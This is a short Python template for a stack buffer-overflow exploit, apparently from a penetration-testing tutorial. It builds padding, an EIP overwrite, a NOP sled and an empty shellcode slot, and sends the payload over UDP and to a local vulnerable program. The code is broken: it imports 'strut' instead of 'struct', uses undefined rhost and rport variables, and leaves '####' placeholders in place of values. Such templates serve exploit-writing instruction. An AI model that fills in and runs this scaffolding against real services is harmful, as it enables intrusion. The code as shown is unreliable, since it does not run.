# Author: Chris Duffy
# Date: May 2015
# Purpose: An sample exploit for testing UDP services
import sys, socket, strut, subprocess
program_name = 'C:\exploit_writing\vulnerable.exe'
fill ="A"*####
eip = struct.pack('<I',0x########)
offset = "\x90"*##
available_shellcode_space = ###
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(exploit, (rhost, rport))
subprocess.call([program_name, exploit])

Create wrapper_exploit.py